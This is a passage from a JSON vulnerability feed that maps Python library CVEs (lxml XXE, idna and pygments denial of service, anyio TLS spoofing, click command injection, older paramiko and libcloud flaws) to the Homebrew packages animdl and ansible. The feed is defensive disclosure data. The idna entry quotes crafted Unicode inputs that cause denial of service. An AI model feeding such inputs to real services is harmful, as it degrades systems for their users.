2025-01-09.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/python-hyper/h11/security/advisories/GHSA-vqfr-h8mv-ghfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-43859"},{"type":"WEB","url":"https://github.com/python-hyper/h11/commit/114803a29ce50116dc47951c690ad4892b1a36ed"},{"type":"PACKAGE","url":"https://github.com/python-hyper/h11"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2026-41066","published":"2026-08-13T16:35:16Z","modified":"2026-09-09T23:40:59Z","upstream":["GHSA-vfmq-68hx-4jfw","CVE-2026-41066","PYSEC-2026-87"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"6.1.0","resource":"lxml","resource_purl":"pkg:pypi/lxml@5.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"5.3.1","key":"pkg:pypi/lxml@5.3.1","resource":"lxml"}]},"summary":"lxml: Default configuration of iterparse() and ETCompatXMLParser() allows XXE to local files","details":"### Impact\nUsing either of the two parsers in the default configuration (with `resolve_entities=True`) allows untrusted XML input to read local files.\n\n### Patches\nlxml 6.1.0 changes the default to `resolve_entities='internal'`, thus disallowing local file access by default.\n\n### Workarounds\nSetting the `resolve_entities` option explicitly to `resolve_entities='internal'` or `resolve_entities=False` disables the local file access.\n\n### Resources\nOriginal report: https://bugs.launchpad.net/lxml/+bug/2146291\n\nThe default option was changed to `resolve_entities='internal'` for the normal XML and HTML parsers in lxml 5.0. The default was not changed for `iterparse()` and `ETCompatXMLParser()` at the time. lxml 6.1 makes the safe option the default for all parsers.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lxml/lxml/security/advisories/GHSA-vfmq-68hx-4jfw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41066"},{"type":"WEB","url":"https://bugs.launchpad.net/lxml/+bug/2146291"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/lxml/lxml/releases/tag/lxml-6.1.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2026-87.yaml"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2026-4539","published":"2026-08-13T16:35:16Z","modified":"2026-09-09T23:40:59Z","upstream":["GHSA-5239-wwwm-4pmq","CVE-2026-4539","PYSEC-2026-2987"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.27_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.20.0","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.20.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.20.0","key":"pkg:pypi/pygments@2.20.0","resource":"pygments"}]},"summary":"Pygments has Regular Expression Denial of Service (ReDoS) due to Inefficient Regex for GUID Matching","details":"A security flaw has been discovered in pygments before 2.20.0. The impacted element is the function AdlLexer of the file pygments/lexers/archetype.py. The manipulation results in inefficient regular expression complexity. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4539"},{"type":"WEB","url":"https://github.com/pygments/pygments/issues/3058"},{"type":"WEB","url":"https://github.com/pygments/pygments/pull/3064"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/24b8aa76c6cd6d70f39c6dd605cce319c98e2ccc"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pygments/pygments/releases/tag/2.20.0"},{"type":"WEB","url":"https://vuldb.com/?ctiid.352327"},{"type":"WEB","url":"https://vuldb.com/?id.352327"},{"type":"WEB","url":"https://vuldb.com/?submit.774685"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2026-45409","published":"2026-08-13T16:35:16Z","modified":"2026-09-09T23:40:59Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.12"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.12","key":"pkg:pypi/idna@3.12","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2026-63374","published":"2026-09-20T10:44:29Z","modified":"2026-09-20T10:44:29Z","upstream":["GHSA-82r6-8w77-94w6","CVE-2026-63374"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.3"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.14.2","resource":"anyio","resource_purl":"pkg:pypi/anyio@4.13.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"anyio","subject_version":"4.13.0","key":"pkg:pypi/anyio@4.13.0","resource":"anyio"}]},"summary":"AnyIO: TLSStream IDNA 2003 host name encoding enables potential TLS certificate spoofing","details":"### Impact\nServices using internationalized (non-ASCII) domain names are potentially vulnerable to TLS connections made from AnyIO's `connect_tcp()` or directly via `TLSStream.wrap()` where the connection has (through other means) been hijacked and redirected to a malicious server. The attacker would obtain a legitimate certificate using the IDNA 2003 encoded version of the domain name and offer it to the connecting client, making the certificate validate properly on the client's end.\n\n### Patches\nThe vulnerability will be patched in v4.14.2.\n\n### Workarounds\nEncode host names via the `idna` package prior to connecting.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/agronholm/anyio/security/advisories/GHSA-82r6-8w77-94w6"},{"type":"WEB","url":"https://github.com/agronholm/anyio/pull/1208"},{"type":"WEB","url":"https://github.com/agronholm/anyio/commit/68f58915f82d9be8109ebbbd8f5d70577d43f2ce"},{"type":"PACKAGE","url":"https://github.com/agronholm/anyio"},{"type":"WEB","url":"https://github.com/agronholm/anyio/releases/tag/4.14.2"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2026-64847","published":"2026-09-20T10:44:29Z","modified":"2026-09-20T10:44:29Z","upstream":["GHSA-5p39-cfhj-2xmp","CVE-2026-64847"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.3"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.14.2","resource":"anyio","resource_purl":"pkg:pypi/anyio@4.13.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"anyio","subject_version":"4.13.0","key":"pkg:pypi/anyio@4.13.0","resource":"anyio"}]},"summary":"AnyIO process-pool workers can block indefinitely on undrained stderr","details":"### Impact\nAnyIO starts process-pool workers with stderr connected to a pipe but never drains that pipe. The worker redirects stdin and stdout to /dev/null to protect its protocol, but does not redirect stderr even though the documentation says all three standard streams are redirected. Worker code that writes enough attacker-influenced data to stderr can fill the pipe, block before returning the stdout protocol response, and wedge the awaiting process-pool call.\n\nAnyone who runs untrusted or faulty code that writes too much to `stderr` is at risk.\n\n### Patches\nThis vulnerability will be patched in v4.14.2.\n\n### Workarounds\nClosing `sys.stderr` in the target function should at least prevent the deadlock.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/agronholm/anyio/security/advisories/GHSA-5p39-cfhj-2xmp"},{"type":"WEB","url":"https://github.com/agronholm/anyio/pull/1207"},{"type":"WEB","url":"https://github.com/agronholm/anyio/commit/f1b7301c8264b0d2e8d24a5788fd29e93dea4040"},{"type":"PACKAGE","url":"https://github.com/agronholm/anyio"},{"type":"WEB","url":"https://github.com/agronholm/anyio/releases/tag/4.14.2"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2026-7246","published":"2026-08-13T16:35:16Z","modified":"2026-08-13T16:35:16Z","upstream":["PYSEC-2026-2132","CVE-2026-7246","GHSA-47fr-3ffg-hgmw"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"8.3.3","resource":"click","resource_purl":"pkg:pypi/click@8.1.8"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"click","subject_version":"8.1.8","key":"pkg:pypi/click@8.1.8","resource":"click"}]},"details":"Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-7246"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-7246.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24761"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24762"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2464121"},{"type":"FIX","url":"https://github.com/pallets/click/releases/tag/8.3.3"},{"type":"EVIDENCE","url":"https://github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw"}]}],"ansible":[{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2008-0299","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-wqmm-q65g-2hqr","CVE-2008-0299","PYSEC-2008-8"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.7.1-3","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@5.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"5.0.0","key":"pkg:pypi/paramiko@5.0.0","resource":"paramiko"}]},"summary":"Paramiko Unsafe randomness usage may allow access to sensitive information","details":"common.py in Paramiko 1.7.1 and earlier, when using threads or forked processes, does not properly use RandomPool, which allows one session to obtain sensitive information from another session by predicting the state of the pool.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2008-0299"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=428727"},{"type":"WEB","url":"https://exchange.xforce.ibmcloud.com/vulnerabilities/39749"},{"type":"PACKAGE","url":"https://github.com/paramiko/paramiko"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/paramiko/PYSEC-2008-8.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20080205095439/http://secunia.com/advisories/28488"},{"type":"WEB","url":"https://web.archive.org/web/20080627172450/http://secunia.com/advisories/28510"},{"type":"WEB","url":"https://web.archive.org/web/20080628232710/http://secunia.com/advisories/29168"},{"type":"WEB","url":"https://web.archive.org/web/20080720033315/http://www.lag.net/pipermail/paramiko/2008-January/000599.html"},{"type":"WEB","url":"https://web.archive.org/web/20081012023428/http://www.securityfocus.com/bid/27307"},{"type":"WEB","url":"https://www.redhat.com/archives/fedora-package-announce/2008-January/msg00529.html"},{"type":"WEB","url":"https://www.redhat.com/archives/fedora-package-announce/2008-January/msg00594.html"},{"type":"WEB","url":"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=460706"},{"type":"WEB","url":"http://people.debian.org/~nion/nmu-diff/paramiko-1.6.4-1_1.6.4-1.1.patch"},{"type":"WEB","url":"http://security.gentoo.org/glsa/glsa-200803-07.xml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2010-4340","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-w3j6-8j34-q43x","CVE-2010-4340","PYSEC-2011-24"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.4.0","resource":"apache-libcloud","resource_purl":"pkg:pypi/apache-libcloud@3.9.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"apache-libcloud","subject_version":"3.9.1","key":"pkg:pypi/apache-libcloud@3.9.1","resource":"apache-libcloud"}]},"summary":"Apache Libcloud does not verify SSL certificates for HTTPS connections","details":"libcloud before 0.4.0 does not verify SSL certificates for HTTPS connections, which allows remote attackers to spoof certificates and bypass intended access restrictions via a man-in-the-middle (MITM) attack. This is due to an upstream issue with python's SSL module rather than directly with libcloud.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2010-4340"},{"type":"WEB","url":"https://github.com/apache/libcloud/commit/87ee61e6ba03a43dcefea2ce180988bec066b6fd"},{"type":"WEB","url":"https://bugs.python.org/issue1589"},{"type":"PACKAGE","url":"https://github.com/apache/libcloud"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/apache-libcloud/PYSEC-2011-24.yaml"},{"type":"WEB","url":"https://issues.apache.org/jira/browse/LIBCLOUD-55"},{"type":"WEB","url":"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=598463"},{"type":"WEB","url":"http://mail-archives.apache.org/mod_mbox/incubator-libcloud/201009.mbox/%3C5860913.463891285776633273.JavaMail.jira@thor%3E"},{"type":"WEB","url":"http://mail-archives.apache.org/mod_mbox/incubator-libcloud/201011.mbox/browser"},{"type":"WEB","url":"http://wiki.apache.org/incubator/LibcloudSSL"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2012-3446","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-prcq-52f8-fp44","CVE-2012-3446","PYSEC-2012-12"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.11.1","resource":"apache-libcloud","resource_purl":"pkg:pypi/apache-libcloud@3.9.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"apache-libcloud","subject_version":"3.9.1","key":"pkg:pypi/apache-libcloud@3.9.1","resource":"apache-libcloud"}]},"summary":"Apache Libcloud vulnerable to certificate impersonation","details":"Apache Libcloud before 0.11.1 uses an incorrect regular expression during verification of whether the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via a crafted certificate.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2012-3446"},{"type":"WEB","url":"https://github.com/apache/libcloud/commit/f2af5502dae3ac63e656dd1b7d5f29cc82ded401"},{"type":"PACKAGE","url":"https://github.com/apache/libcloud"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/apache-libcloud/PYSEC-2012-12.yaml"},{"type":"WEB","url":"https://svn.apache.org/repos/asf/libcloud/trunk/CHANGES"},{"type":"WEB","url":"http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-1633","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-27x4-j476-jp5f","CVE-2013-1633","PYSEC-2013-22"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.7","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.0.0","key":"pkg:pypi/setuptools@84.0.0","resource":"setuptools"}]},"summary":"Setuptools vulnerable to Man-in-the-middle attacks","details":"easy_install in setuptools before 0.7 uses HTTP to retrieve packages from the PyPI repository, and does not perform integrity checks on package contents, which allows man-in-the-middle attackers to execute arbitrary code via a crafted response to the default use of the product.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-1633"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2013-22.yaml"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://pypi.python.org/pypi/setuptools/0.9.8#changes"},{"type":"WEB","url":"http://www.reddit.com/r/Python/comments/17rfh7/warning_dont_use_pip_in_an_untrusted_network_a"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-2013","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-8q2m-pwxf-jc7g","CVE-2013-2013","PYSEC-2013-24"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.2.4","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"python-keystoneclient unsecure user password update","details":"The user-password-update command in python-keystoneclient before 0.2.4 accepts the new password in the --password argument, which allows local users to obtain sensitive information by listing the process.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2013"},{"type":"WEB","url":"https://github.com/openstack/python-keystoneclient/commit/f2e0818bc97bfbeba83f6abbb07909a8debcad77"},{"type":"WEB","url":"https://bugs.launchpad.net/python-keystoneclient/+bug/938315"},{"type":"PACKAGE","url":"https://github.com/openstack/python-keystoneclient"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-keystoneclient/PYSEC-2013-24.yaml"},{"type":"WEB","url":"https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A16937"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/05/23/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-2030","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-pxxv-rv32-2qgv","CVE-2013-2030","PYSEC-2026-911"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.2.4","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"OpenStack Nova uses insecure keystone middleware tmpdir by default","details":"keystone/middleware/auth_token.py in OpenStack Nova Folsom, Grizzly, and Havana uses an insecure temporary directory for storing signing certificates, which allows local users to spoof servers by pre-creating this directory, which is reused by Nova, as demonstrated using /tmp/keystone-signing-nova on Fedora.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2030"},{"type":"WEB","url":"https://github.com/openstack/nova/commit/58d6879b1caaa750c39c8e452a0634c24ffef2ce"},{"type":"WEB","url":"https://github.com/openstack/nova/commit/74aa04e2ca7942cb1e1a86dcbaffeb72d260ccd7"},{"type":"WEB","url":"https://github.com/openstack/nova/commit/7bf3e8d3e254d817ff5ae7ef1f2884b10410ca60"},{"type":"WEB","url":"https://github.com/openstack/python-keystoneclient/commit/1736e2ffb12f70eeebed019448bc14def48aa036"},{"type":"WEB","url":"https://bugs.launchpad.net/nova/+bug/1174608"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=958285"},{"type":"PACKAGE","url":"https://github.com/openstack/nova"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nova/PYSEC-2013-45.yaml"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2013-May/105916.html"},{"type":"WEB","url":"http://lists.openstack.org/pipermail/openstack-announce/2013-May/000098.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/05/09/2"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-2104","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-4rrr-j7ff-r844","CVE-2013-2104","PYSEC-2014-69"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.2.4","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"python-keystoneclient missing expiration check in PKI token validation ","details":"python-keystoneclient before 0.2.4, as used in OpenStack Keystone (Folsom), does not properly check expiry for PKI tokens, which allows remote authenticated users to (1) retain use of a token after it has expired, or (2) use a revoked token once it expires.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2104"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2013:0944"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2013-2104"},{"type":"WEB","url":"https://bugs.launchpad.net/python-keystoneclient/+bug/1179615"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=965852"},{"type":"PACKAGE","url":"https://github.com/openstack/python-keystoneclient"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-keystoneclient/PYSEC-2014-69.yaml"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2013-06/msg00198.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2013-0944.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/05/28/7"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-1851-1"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-1875-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-2166","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-c3xq-cj8f-7829","CVE-2013-2166","PYSEC-2019-197"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.3.0","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"Inadequate Encryption Strength in python-keystoneclient","details":"python-keystoneclient version 0.2.3 to 0.2.5 has middleware memcache encryption 